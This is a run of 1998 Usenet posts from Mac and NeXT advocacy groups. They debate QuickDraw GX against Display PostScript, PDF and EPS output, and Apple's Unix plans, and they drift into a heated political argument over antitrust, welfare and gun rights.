Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 13 Jun 1998 01:32:06 -0500
Organization: (none)
Message-ID: <jdoherty-1306980132070001@aus-tx22-02.ix.netcom.com>
References: <slrn6o0ed9.kcg.sal@panix3.panix.com> <B1A69C00-30576@206.165.43.126>
In article <B1A69C00-30576@206.165.43.126>, "Lawson English"
<english@primenet.com> wrote:
| Salvatore Denaro <sal@panix3.panix.com> said:
|
| >On 11 Jun 1998 11:03:01 -0700, Lawson English <english@primenet.com>
| >wrote:
| >>So how does one handle the "Klingon Font Problem?"*
| >
| >Clearly this is your chance to save GX. Contact any of the many Klingon
|
| OK, how does it handle the "Cherokee Nation Font" problem?
Who cares? Apple needs to sell computers to people who get paid to use
them. The number of people who get paid to set type in Cherokee is
vanishingly small, and obviously, the number of people who get paid
to set type in Klingon is even smaller.
There's no good business model based on selling computers to people
who play with them.
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 13 Jun 1998 01:33:13 -0500
Organization: (none)
Message-ID: <jdoherty-1306980133130001@aus-tx22-02.ix.netcom.com>
References: <6lr092$rn6$2@ironhorse.plsys.co.uk> <B1A69D89-361D6@206.165.43.126>
In article <B1A69D89-361D6@206.165.43.126>, "Lawson English"
<english@primenet.com> wrote:
| Excuse? I've got 3 overlapping, semi-transparent circles, each with
| different colors
Did someone pay you to do that, Lawson, or were you just jerking off?
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 13 Jun 1998 01:36:47 -0500
Organization: (none)
Message-ID: <jdoherty-1306980136470001@aus-tx22-02.ix.netcom.com>
References: <slrn6o2r2n.sd3.sal@panix3.panix.com> <B1A6C85C-573CB@206.165.43.8>
In article <B1A6C85C-573CB@206.165.43.8>, "Lawson English"
<english@primenet.com> wrote:
| The GX pen plotter driver supports the concept of approximating transparent
| color.
And how many people who get paid to use plotters give a shit about that?
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 13 Jun 1998 01:34:42 -0500
Organization: (none)
Message-ID: <jdoherty-1306980134460001@aus-tx22-02.ix.netcom.com>
References: <6lrj38$858$1@news.cs.tu-berlin.de> <B1A6A4C9-515EF@206.165.43.126>
In article <B1A6A4C9-515EF@206.165.43.126>, "Lawson English"
<english@primenet.com> wrote:
| GX printing incorporated...
You're starting to get the idea. Talking about GX in the past tense is
the only way that makes any sense.
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <6lssf4$l6v$8522@server2.wans.net>
Control: cancel <6lssf4$l6v$8522@server2.wans.net>
Date: 13 Jun 1998 04:03:04 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.6lssf4$l6v$8522@server2.wans.net>
Sender: <makemoney@hotmail.com>
Article cancelled as EMP/ECP, exceeding a BI of 20.
The "Current Usenet spam thresholds and guidelines" FAQ is available at
http://www.uiuc.edu/ph/www/tskirvin/faqs/spam.html
Please include the X-CosmoTraq header of this message in any correspondence
specific to this spam.
Sick-O-Spam, Spam-B-Gon!
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Followup-To: comp.sys.mac.programmer.misc
Date: 13 Jun 1998 01:37:20 GMT
Organization: P & L Systems
Message-ID: <6lsl4g$8fa$1@ironhorse.plsys.co.uk>
References: <6lr092$rn6$2@ironhorse.plsys.co.uk> <B1A69D89-361D6@206.165.43.126>
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NOTE: FOLLOWUPS TO COMP.SYS.MAC.PROGRAMMER.MISC
In <B1A69D89-361D6@206.165.43.126> "Lawson English" wrote:
> Excuse? I've got 3 overlapping, semi-transparent circles, each with
> different colors. Are you telling me that the above will produce an
> EPS image with 7 closed paths filled with the appropriate colors that
> can then be printed on any generic PS printer or displayed via any
> EPS-compatible application on any platform with color intact?
>
You stated:
> But DPS can't output overlapping, resolution-independent,
> non-opaque objects to PDF OR EPS, can it?
>
The answer to that question is: "Yes, it can."
mmalc
From: sal@panix3.panix.com (Salvatore Denaro)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: So THAT is the OS stratetgy?
Date: 13 Jun 1998 01:43:34 GMT
Organization: PANIX Public Access Internet and Unix, NYC
Message-ID: <slrn6o3ma6.9pi.sal@panix3.panix.com>
References: <tbrown-1206980253330001@mv128.axom.com> <B1A69F6D-3D38C@206.165.43.126> <rmcassid-1206981322550001@dante.eng.uci.edu> <3581A315.14997219@nstar.net> <rmcassid-1206981512290001@dante.eng.uci.edu>
On Fri, 12 Jun 1998 15:12:29 -0700, Robert Cassidy <rmcassid@uci.edu> wrote:
>Preserve my API,
>do what you will with the gook underneath. Isn't that the unix way?
Yes, as a matter of fact it is. As an example look at email under Unix. You
can swap out sendmail, the pop server or the client without having to change
the other parts. I can move from elm to pine, popper to qpop or sendmail to
Smail or any other combo I want. The overall model stays the same. Likewise
Apple is moving from DPS that uses the Postscript image model to EQD, that
also uses that model. PDF will replace EPS. The AppKit will stay the same.
Some things will be added (ColorSync comes to mind) and some things taken
away (NSHost, PSWraps). Overall the change isn't all that big.
A number of NeXT App authors have stated that the number of lines of code
they'll have to change is small. IIRC, the figures for a major graphics
App (Create?) was less than 100 lines.
--
sal@panix.com
Salvatore Denaro
From: cbbrowne@news.hex.net (Christopher Browne)
Newsgroups: comp.sys.amiga.advocacy,de.comp.sys.amiga.advocacy,alt.amiga.demos,alt.sys.amiga.demos,comp.sys.amiga.misc,comp.os.os2.advocacy,comp.sys.be.advocacy,comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.unix.advocacy,comp.sys.acorn.advocacy,comp.sys.atari.advocacy,comp.sys.powerpc.advocacy
Subject: Re: Intel Vivisectors Probed By US FTC: Intel Scrutinized
Date: 13 Jun 1998 01:54:36 GMT
Organization: Hex.Net Superhighway, DFW Metroplex 817-329-3182
Message-ID: <6lsm4s$14p$14@blue.hex.net>
References: <Pine.HPP.3.96.980610201623.737F-100000@demeter.sunyit.edu> <6loc6i$gk8$1@usenet11.supernews.com>
On 11 Jun 1998 10:40:18 GMT, John C. Randolph
<jcr.remove@this.phrase.idiom.com> wrote:
>Now, if someone proposed using people who spam comp.sys.* groups with
>political screeds in place of lab rats for drug testing, I'd wholeheartedly
>concur.
That fits fairly nicely into a .signature, and I'd concur as well...
--
`When you say "I wrote a program that crashed Windows", people just
stare at you blankly and say "Hey, I got those with the system, *for
free*".' (By Linus Torvalds)
cbbrowne@hex.net - <http://www.hex.net/~cbbrowne/lsf.html>
From: "Ziya Oz" <ZiyaOz@earthlink.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: Sat, 13 Jun 1998 02:13:55 -0400
Organization: BM
Message-ID: <6lt53s$rkc$1@suriname.it.earthlink.net>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu>
<6lpd91$5c5$1@news.digifix.com>
<slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu>
<rmcassid-1106982334500001@dialin9229.slip.uci.edu>
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In article <rmcassid-1106982334500001@dialin9229.slip.uci.edu> ,
rmcassid@uci.edu (Robert Cassidy) wrote:
>[PDF] is already a standard on the
>internet, and with much enhancements to its forms capability could become
>a pretty standard means of electronic forms delivery and storage.
I don't know if you ever talked to the Adobe PDF people, but they are not the
best bunch in the company when it comes to PDF/web vision. They have been
spectacularly unimaginative with dynamic PDF, after taking the better part of
two years to come up with something, there's not much here to talk about.
After so many years, Acrobat Reader/Exchange is still one of the very "unique"
web browser plug-ins that require a full-scale, memory-hungry app to run
alongside as well. Great. I've been trying to put together a database-pushed, as
opposed to web bowser-pulled, dynamic PDF/FDF app. As one Adobe engineer put it
bluntly, the interaction between the browser and the Reader, still remains the
most fragile link of the chain. FDF-based web forms are great, as long as you
use one of the five basic typefaces. And try a bit of flexibility with graphics
or text box lengths, etc.
Anyhow, I can't wait for the day when XML with layers, CSS formatting and
embedded fonts get me very close to PDF--on an open standard.
Ziya Oz
From: jdoherty@ix.netcom.com (John Doherty)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: Sat, 13 Jun 1998 01:15:47 -0500
Organization: (none)
Message-ID: <jdoherty-1306980115470001@aus-tx22-02.ix.netcom.com>
References: <6lbcfa$adf$8@ironhorse.plsys.co.uk> <B19EACC1-CEDD@206.165.43.165> <35796BDB.2AEDD69@trilithon.com> <ldo-1006981543490001@a53.hn3.wave.co.nz> <6llk5m$c8f$1@news.cs.tu-berlin.de> <ldo-1106981450270001@a30.hn1.wave.co.nz>
In article <ldo-1106981450270001@a30.hn1.wave.co.nz>,
ldo@geek-central.gen.new_zealand (Lawrence D¹Oliveiro) wrote:
| I remember a couple or so years ago, seeing a demo of the QuickDraw GX
| drivers for the Xerox Docutech. The Xerox representative was saying that
| GX was the only architecture that allowed all the features of the Docutech
| to be directly accessible from the desktop.
That Xerox rep probably worked in sales, so who cares what they might
have said?
Do you get paid to print things on Docutechs, Lawrence? I do, and believe
me, GX is not a concern.
ATM has been a required part of the
system software since before GX was a gleam in anyone's eye
- GX fonts added no value, since there were never more than about
40 of them
- even those 40 were useless, since serious apps didn't take any
advantage of them
- the apps that did take advantage of GX fonts were ridiculous jokes
- even if there had ever been serious mac apps that supported GX type,
it wouldn't have mattered, since Apple never had any plans for GX
on non-mac platforms
I'm a typesetter, Lawson, and am a core part of Apple's small remaining
customer base. I never gave a damn about TT or GX, since I couldn't
ever use either one to do anything anyone would bother to pay me for.
To me, GX was a complete non-starter, and TT is just a pain in the
ass.
GX type was an OK idea, but it never amounted to anything I could
actually use. So tell me again what was so great about GX from my
perspective. Remember that publishing users are a core part of the
small remaining customer base that Apple has.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.windows.advocacy,comp.sys.next.advocacy,alt.destroy.microsoft,comp.os.linux.advocacy,comp.os.ms-windows.advocacy,comp.os.ms-windows.nt.advocacy
Subject: Re: MS -"What Hurts Us, Hurts Industry" - LOAD OF B.S.!
Date: Sat, 13 Jun 1998 02:35:15 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1306980235180001@dialin33422.slip.uci.edu>
References: <rmcassid-1205982352010001@dialin33423.slip.uci.edu> <6jk64c$vo9$1@strato.ultra.net> <rmcassid-1805981307530001@dante.eng.uci.edu> <tvyg1i6unnj.fsf@cn1.connectnet.com> <6jtgie$vp6$6@ligarius.ultra.net> <35d0ab0c.360543981@news.supernews.com> <6k6tda$omk$1@ligarius.ultra.net> <357a9125.86089126@news.supernews.com> <6l72if$mp9$1@news.smart.net> <6lfsck$1vga@yuma.ACNS.ColoState.EDU> <357C032E.C373357D@nstar.net> <3591af5a.5318472@news.supernews.com> <357DEB64.6B62@CONVEX.COM> <35967e0e.17663365@news.supernews.com> <35800D69.C7F8B8E1@nstar.net> <6lpvl2$26g6@yuma.ACNS.ColoState.EDU> <35809E8C.8E3F239A@nstar.net> <rmcassid-1206980004350001@dialin9229.slip.uci.edu> <358130D4.372EFBEB@nstar.net> <rmcassid-1206981443290001@dante.eng.uci.edu> <3581B5E4.27A5303B@nstar.net>
In article <3581B5E4.27A5303B@nstar.net>, "Michael J. Peck"
<mjpeck@nstar.net> wrote:
> Robert Cassidy wrote:
> I don't. The states have much more right to be restrictive and meddling
> than does the Federal government.
Which would likely be even worse as states act to protect their local
economies. California would be all over companies like MS. As it is, it's
taken 20 AGs to motivate the DOJ. That's a *good* thing.
> > Prescriptions are also designed not only to protect the
> > holder of the prescription, but also to protect the public from
> > individuals that might use those medications to put themselves in a state
> > where they are not responsible for their actions.
>
> The criminal justice system that absolves such citizens of the
> responsibility of their actions is at fault for creating this situation.
> Under Common Law, drunkenness was no excuse for the slaughter of a
> neighbor's livestock. Similarly, crack cocaine should be no excuse for
> any kind of illegal behavior.
Drunkenness is *currently* no excuse for any kind of illegal behavior, yet
a certain amount illegal behavior exists _solely_ because of drunkenness
(drivers that get into accidents becuase they are drunk would likely not
have done so while sober - there is causation). That the activity is
illegal does little to protect to the rights of someone who is dead at
the instant of the illegal act.
> > We tolerate it to some
> > degree (alcohol) but as the complexity of the drug increases, the need for
> > experts to manage their use becomes necessary. And that management *is*
> > necessary for there are medications that have psychosis or homicidal
> > tendencies as side-effects. Not all drugs are Viagra after all...
>
> Ah. How well has this system of prescription done at preventing the
> overdosing and incorrect use of antibiotics, Bob? I hear that in Japan
> they have discovered strains of bacteria that are resistent to all but
> the most severe and obscure of penicillin derivatives.
How much worse would it be without the prescriptions? How many people do
_you_ know think of antibiotics the moment the get a cold - caused by a
virus? Hello!? I'm not saying it's perfect, it could be a *lot* better.
But throwing the baby out with the bath water? Let's show a little
restraint here...
> Meanwhile, the price of antibiotics research is kept artificially
> inflated by the prescription program that has utterly failed to "protect
> the consumer".
>
> > A little dose of hyperbole makes the medicine go down? The government has
> > taken no actions to ban alcohol,
>
> Take it back. I'm sure you've heard of Prohibition.
...recently. You might also have noticed that they realized their mistake...
> > or tobacco,
>
> Also patently untrue. Multiple attempts at legislation banning the use
> of tobacco products have been defeated in Congress. Smoking is banned on
> domestic flights in the U.S., under the redoubtable aegis of the
> all-expansive Commerce Clause.
Defeated. So they haven't banned it, have they? I suspect that virtually
_anything_ has been proposed to be banned at one time or another. That's
why we have state's representatives, people's representatives, and a
system of checks and balances.
And thank God they banned it too... Perhaps smoking and non smoking planes
would have been better, if wholly impractical. If anybody feels that my
fresh air somehow violates their space, then they are free to charter.
> The lumber industry managed to outsmart its rival, the hemp industry,
> many years ago by forcing legislation banning the private use of
> marijuana for any reason. The reasons given during the short discussion
> of the legislation were nearly all proven false scant years later, but
> they were eagerly accepted by weak Congressmen who needed a cause for
> reelection.
Hemp _is_ a great case of things going wrong. Fortunately, it seems that
slowly the tides are turning back.
> > Restrict it
> > so that the rights of *every* individual and taxpayer are balanced - sure.
> > So it's better to let everyone have a handgun and then arrest the people
> > that use it to commit a murder?
>
> Something like that, yes. I believe it has something to do with
> punishing crimes, not punishing *possible* crimes.
In case you haven't noticed, we have 6 year olds taking guns into schools.
I suppose they should have free access as well. And how exactly should we
punish them?
> > Isn't that a little discriminatory to the
> > rights of the person that just got shot?
>
> Discriminatory, what? What are you talking about? What does this have to
> do with the rights of the United States Citizen under the Second
> Amendment?
Why limit it to the 2nd amendment? I think it is mentioned throughout the
constitution and the bill of rights that I have a right to _live_. No?
Perhaps I don't have that right after all...
> > The enforcement of the law is
> > only a reassurance to those that continue to live.
>
> It is a deterrent to those that would commit crimes. This is
> well-documented.
I'm glad it's been documented, because it isn't working.
> Bob, go straight to your copy of the Constitution and deliver me the
> "rights of the public". Please, I'd love to see them.
I have the right to live. Surely I must.
> > I'll agree that a good deal of the legislation through the 30s should have
> > been temporary, and is very much misplaced today. But some of it was
> > specifically designed to have a stabilizing effect on the national economy
> > and continues to perform that function today.
>
> Which, exactly? I'm *real* interested to hear this.
>
> The Tennessee Valley Authority, perhaps? No, I'm sure you mean the
> Agricultural Adjustment Agency. Social Security? Come now, there must be
> a wealth of well-wrought legislation in there.
At the time of the depression, a great deal of the three-letter acts were
designed as economic stabilizers from social security to the civil
conservation corps. The former being long term stabilizers, the latter
being short term. Social security distributes income from times of plenty
to times of need. It helps maintain a regular measure of buying for
individuals later in life. That it is in trouble is partly due to the
governments unwise actions to dip into the pot for numerous other programs
and due to the declining birth rate that fell below expectations. But it
still works basically as advertised. So does welfare by wealth
redistribution (even though it also has problems, it still works basically
as advertised), and unemployment insurance, and so on.
> > But the theory in this country is that competition can become so stifled
> > due to either the practices of one company, or by collusion between
> > multiple companies (price fixing)
>
> Explain for me the difference between "price fixing" and tariffs.
Tariffs protect national self-interests - at least sometimes. Didn't you
realize? Fair competition is only good if it is contained _within_ our
borders. Once you cross that dotted line on the map, the US sees the harm
as done against _other_ people, which is ok. See, here in the US, it's ok
if people 'over there' suffer and die. It's their own damn fault for not
being 'over here'. Of course, if they try and come 'over here', we'll
shoot them so that they suffer and die. Great fun - it goes around and
around...
I'm not a huge fan of tariffs unless there is a very strong reason for it.
There were some good tariffs in place to ensure that certain US companies
would stay in business as they were critical should a war break out. The
military doesn't much like it if their bullets are all made in Cuba and we
decide to go to war with Cuba...
The big problem as I see it is that corporations are given entirely too
much power in government lobbying. Here in California we just voted on a
proposition that would require unions to get approval from any member
before making political contributions funded from union dues. Basically
just giving the individual the right to decide if they backed the union's
choices. There was some other screwball crap in there too that was totally
redundent with current laws. But I voted against the bill as it should
have been extended to corporations and shareholders. That is, Philip
Morris wouldn't be able to make any political contributions with the money
I have invested without my specific approval. I'd be all over that in a
second. Probably put a big-ass dent in tariffs, corporate welfare, this
*unbelievably* insane highway bill, and probably knock government spending
down about 30%.
> Or between "price fixing" and regulation of the health care industry, or
> the telecom industry, or the agriculture industry, for instance.
Regulations suck too. I can't defend them.
> > that government intervention is
> > desirable to return to a state where some measure of change is more
> > likely.
>
> All of the history of government intervention, in this country at the
> very least, indicates that you're wrong. Don't misunderstand me; your
> theory is quite well-known, and well-accepted, at least on one side of
> the fence. There's nothing brand-new in what you propose. Keynes beat
> you to it, in fact.
Keynes set the tone for a lot of what we see today. Simply because the
government is not always good at this role does not mean that Keynes is
wrong. It could just mean that the government is not very good at the
role. It also doen't mean that things would necessarily be better without
their intervention. We honestly don't know one way or the other.
> > That at some point, you can nearly 'win' or appear to win the
> > game, and so the state must be adjusted to seem as though there is
> > reasonable chance for reward to justify the risk of entering the market.
>
> What's it called when your industry is made public and someone
> automatically 'wins', as in the case of British Telecom? What do you
> predict will happen when government returns the industry to the private
> sector and leaves this 'winner' to its own devices? How does your
> economic model handle such things?
In that case the newly public institution should be broken up upon
inception. In a global economy, BT is but one player, however. There is no
saying that it won't be bought in part or in whole 2 days after becoming
public. The national line is arbitrary unless the government puts
restrictions on competition within it's borders, as Japan does.
A utility is a special case because it does have a regional tie that is
difficult to resolve without some kind of contract. There *must* be a
monopoly on the wire that comes into my house as I don't want 9 of them
for the sole purpose of providing a choice. So we have an odd leasing
arrangement in the US while companies build secondary service
infrastructures, like satillite, cable, and fibre which will likely
elminiate the need for some of those contracts. I can get my phone service
from my cable provider, for instance. Or I can get cellular. So BT is a
more difficult case to resolve than say Microsoft. Of course those
industries that tend to become privatized are almost always utilities,
which reflects the recognition of the problem to begin with and the
efficiency of building an infrastructure from within a single
organization. To see where things might be going, look at southern
california where we are beginning a privitization of the highways - oddly
on the dawn of a 700 billion dollar highway bill. Because of this trend,
we have new highways going in that really aren't needed to begin with -
joy. I have 4 major freeways within 5 miles of my house and a new one on
the way. Two are public/private ventures.
> > I'm not saying that they do it well all the time. I'd love to see many of
> > the _implementations_ that we have change - but the _concepts_ are
> > generally sound. They are all stabilizing efforts. Welfare is designed to
> > help keep people from getting is such a state that risk/reward reaches an
> > extreme - that people find they need to go to extreme lengths just to feed
> > their children.
>
> Is that so? Then you're saying AFDC helps keep people employed, is that
> it? Maybe you're saying AFDC helps to promote a middle class. Funny that
> the statistics don't seem to follow that theory... What, exactly, are
> 'extreme lengths'?
AFDC helps keep children from starving to death, or being forced to beg
for food or having to work in a coal mine at the age of 7. AFDC helps keep
parents in a position to take care of their children. AFDC, because of
some poor decisions in it's implementation also helps keep people
_unemployed_. It does a lot of the things it is designed to do, and a few
things that we don't want it to do.
> Monogamy, for instance?
Another undesirable side-effect caused by poor implementation.
> Parental responsibility?
Another undesirable side-effect. Wisconsin seems to have a program which
improves on these three issues. To what extent, we don't know yet. But so
far, it looks like a better implementation with the same goals.
> These must be the extremism to which you refer, since their reduction
> seems to be the only tangible accomplishment of AFDC.
The only one, eh? Maybe you should review _your_ history as well... think
back to the depression when fathers would take on remarkably dangerous
work becuase of the desperate need for money. Many of these men died just
trying to make a few dollars to send home. Or back further before the
child labor laws when children were sent into coal mines or textile mills
to suppliment the familiy income. Not very good for family values either.
> Maybe it has nothing to do with implementations. Maybe -- just bear with
> me -- maybe something fundamental, maybe some *principle* is being
> unstrung. Maybe no matter how smart you are, or how skilled at economic
> manipulation, there is just no way that you can *improve* the
> free-market system through independent determinism.
It's not there only to improve the economy. It's also there to extend the
role of the national economy to recognize the value of the citizenry
regardless of how how smart they are or how skilled at economic
manipulation _they_ might be. The goal was later to create a nation where
the mentally ill or people with epilepsy were not put in asylums, where
people would not be literally worked to death or sold into slavery, where
a child would not be punished for the failings or misfortunes of their
parents. We're past economic darwinism. There is no need for this strict
survival of the economically fittest. The global economy is slowly
becoming efficient enough that we can back away from a work-to-survive
attitude into one where the basics for survival are relatively assured.
That we are no longer industrially motivated but informationally motivated
should be a clear indication of this. Our industries are so efficient due
to computers and robotics and other feats of engineering that we can take
them for granted. That will spread throughout the world in time. We're
only the first to take a stab at it in a democratic society - and it's
been a bumpy road to say the least. (there are others that are generally
monarchies - like some of the arab states that pay their people out of
national oil proceeds)
> > Does that also account for instabilities due to monopolies and national
> > securities in a global economy? We seem to balance anti-trust needs
> > against the needs of the nation as a whole in terms of it's ability to be
> > resiliant and it's need to protect its interests internationally.
>
> Is that it? That must be why the FTC is acting against Intel, whose
> price/performance curves are keeping the United States nearly decades
> ahead of any foreign semiconductor agent.
Perhaps it is because they are _decades_ ahead and not _years_ ahead that
there is little concern. Actually, it appears that the actions that would
be taken against Intel would be minor in this regard.
> It must be why the DoJ is
> acting against Microsoft, whose software products account for billions
> of dollars in export sales and against whom no foreign software company
> can remotely compare in quality and expertise.
Correct.
But to quote you from above:
"The states have much more right to be restrictive and meddling than
does the Federal government."
So by exactly the same argument, California's AG is acting against MS,
whose software products account for billions of dollars to the economy of
Washington state and against whom no California software company can
remotely compare in quality and expertise.
I can repeat this for the other 19 states that have followed suit, but I
think the point is made. Perhaps the states have more influence in this
matter than you realize and are playing your very argument out. But the
state of California has little chance of effecting Microsoft since Redmond
is clearly outside of it's jurisdiction. But it isn't outside of the
DOJ's.
[snip]
> > But the anti-trust issue comes
> > down to a 'needs of the many outweigh the needs of the one' kind of social
> > contract at least to some degree.
>
> Collectivism, then. I see. Or Communism? I don't know which to call it.
Neither. '...to some degree'. Everybody is obsessive-compulsive 'to some
degree'. That doesn't make everyone clinically obsessive-compulsive. Don't
try so hard to label stuff - it causes everything to become exaggerated. A
word rarely fits reality exactly.
> > You can also
> > excuse yourself from that defense if you choose - but let us know along
> > the way.
>
> I don't know what this means.
Well, I can present the position that some people believe that free access
to handguns serves a deterrent to crime. I can also make it clear that it
is not my position or that I disagree with it part and so am only willing
to defend part of it. I'll defend parts of the case for AFDC, but not
others, for instance.
> > Fascist is a very loaded term unless you are pre-WWII and didn't at all
> > seem befitting of his position.
>
> "Loaded" is none of my concern.
Then don't be surprised by people being insulted.
> "Fascism" is the *only* term I know of to refer to the theory that
> governmental power is of primary importance,
> and that all various governmental systems are to be employed as they are
> beneficial to the goal of exalting the state. The fascist may at times
> masquerade as a democrat, a dictator, a socialist (the Nazi part was the
> National Socialist Workers' Party), or anything else that befits his
> goal of power. The unprincipled use of power under cover of pragmatic
> excuse is the first hint that such politics are present.
I didn't think that was his position at all, and so the term 'fascist' was
hardly befitting of him. Again, don't try so hard to label stuff - it
causes everything to become exaggerated.
> Fascists are generally famous for scoffing at the use of the word
> "liberty". They'll laugh, squirm, yell, whatever! when you mention it,
> because it seems a childish and dangerous notion to them. Benito
> Mussolini himself claimed "We have buried the putrid corpse of liberty".
I never noticed him scoffing at liberty.
> > Fair play perhaps?
>
> More like Pee-Wee Herman, I'd say.
How kind. Is that the childish Pee-Wee or the tossing off in the movie
theatre Pee-Wee? I just want to get it straight... oops, better not use
that phrase until I hear your reply...
-Bob Cassidy
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Killing DPS for EQD is STUPID!
Date: Sat, 13 Jun 1998 02:46:39 -0800
Organization: UC Irvine
Message-ID: <rmcassid-1306980246400001@dialin33422.slip.uci.edu>
References: <358018FA.61F1@rs6000.cmp.ilstu.edu> <6lpd91$5c5$1@news.digifix.com> <slrn6o16bf.l4v.NOSPAMmbkennelNOSPAM@lyapunov.ucsd.edu> <rmcassid-1106982334500001@dialin9229.slip.uci.edu> <6lt53s$rkc$1@suriname.it.earthlink.net>
In article <6lt53s$rkc$1@suriname.it.earthlink.net>, "Ziya Oz"
<ZiyaOz@earthlink.net> wrote:
> I don't know if you ever talked to the Adobe PDF people, but they are not the
> best bunch in the company when it comes to PDF/web vision.
I've pretty much determined as much. Adobe falls into my top slot of love
to hate. They have *so* much going for them but so consistently screw it
up implementation-wise. PDF is a great example. It could be 10x the
technology that it is today... And not putting Applescript into their apps
is unbearably stupid.
> FDF-based web forms are great, as long as you use one of the five basic
> typefaces. And try a bit of flexibility with graphics or text box lengths,
> etc.
If it's better than the other guys, then it is good enough.
> Anyhow, I can't wait for the day when XML with layers, CSS formatting and
> embedded fonts get me very close to PDF--on an open standard.
Throw PGML in and you'll be right there. But then PDF has been submitted
as an open standard. There is still no sign of a CSS and embedded fonts
file driver, though, which makes PDF the force to compete with.
-Bob Cassidy
Date: Sat, 13 Jun 1998 07:05:51 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Message-ID: <joe.ragosta-1306980705520001@elk66.dol.net>
References: <357FE4E3.BB690EE8@bcomp.com> <6lor77$guc$1@crib.corepower.com> <6lpgek$l79@nntp02.primenet.com> <6lpq3f$j3o$1@crib.corepower.com> <358136AC.C4DA11CC@bcomp.com> <6lslp0$8fa$2@ironhorse.plsys.co.uk>
In article <6lslp0$8fa$2@ironhorse.plsys.co.uk>, mmalcolm crawford
<malcolm@plsys.co.uk> wrote:
> Yup, all sensible stuff. And since I'm in a really uptight mood at the
> moment I'm going to lash out on this one...
>
> The trouble is the average Mac user who posts to public forums about this
> subject seems so selfish about their fear of even possibly catching sight of
> the Terminal.app icon that they're willing to make such a brou-ha-ha about it
> that Unix may be completely invisible and unnecessarily hard to get at.
I don't quite follow.
Why can't it be set up so that you can do everything a beginning/average
Mac user needs without ever touching the command line, but still having
Terminal.app accessible in the Apple menu? It seems to me that this would
elegantly meet the needs of both groups.
>
> This is stupid, selfish and shortsighted, because (a) the average user will
> have no need to go near it, but more importantly (b) Apple may lose entree
> into some very useful markets (esp enterprise) as a result.
True. But I don't see them as contradictory.
>
> To all those feeling squeamish about Unix, I ask you to think about how
> successful you want Apple to be. Do you think you might possibly be able to
> put up with an application you'll never use taking up less than 1MB on your
> hard drive, just so that Apple has a chance of selling a couple of thousand
> more seats? If you still have the jitters, just think of the CLI as being a
> sort of System-level AppleScript. AppleScript good? SystemScript double
> plus good...
Sure. But I can't see why you can't have both on one system.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
Date: Sat, 13 Jun 1998 07:41:44 -0400
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Message-ID: <joe.ragosta-1306980741440001@elk66.dol.net>
References: <9806122206.AA03320@palmer.cca.rockwell.com> <B1A70F54-7381@206.165.43.150>
In article <B1A70F54-7381@206.165.43.150>, "Lawson English"
<english@primenet.com> wrote:
> Erik M. Buck <embuck@palmer.cca.rockwell.com> said:
>
> >WOW! Lawson was reasonable and admits he was wrong for the first time.
> >Note
> >the date. One more GX can do this and AppKit can't thread put to rest.
> Why
> >pray tell did you start this one Lawson ?
>
>
>
> Because I had concerns about it. They were apparently unfounded.
>
> Big whoop. Most of my friends laugh at the NeXTers for being so hostile in
> replying to me because regardless of how many errors *I* make, replying
> with hostility always make the person making the hostile response look bad,
> regardless of who is technically correct.
Maybe they're just tired of the 100 threads you've started by saying "But
NeXT can't do this and GX can", only to be proven wrong 99 of those 100
times.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.programmer.misc
Subject: Re: GX vs PS (was Re: Howabout Something Better than what we have
Date: 13 Jun 1998 15:17:29 GMT
Organization: P & L Systems
Message-ID: <6lu569$ndd$1@ironhorse.plsys.co.uk>
References: <6lsl4g$8fa$1@ironhorse.plsys.co.uk> <B1A7353C-7074@206.165.43.122>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Cc: english@primenet.com
In <B1A7353C-7074@206.165.43.122> "Lawson English" wrote:
> Excuse me? If something is truely output to PDF or EPS, then it satisfies
> my expanded set of criteria since PDF and EPS are platform-independent and
> resolution-independent. Your solution doesn't do that. Doesn't even come
> close, does it?
>
In what way does it not?
mmalc.
From: macghod@concentric.net (Steve Sullivan)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Huh?
Date: Sat, 13 Jun 1998 08:42:44 +0100
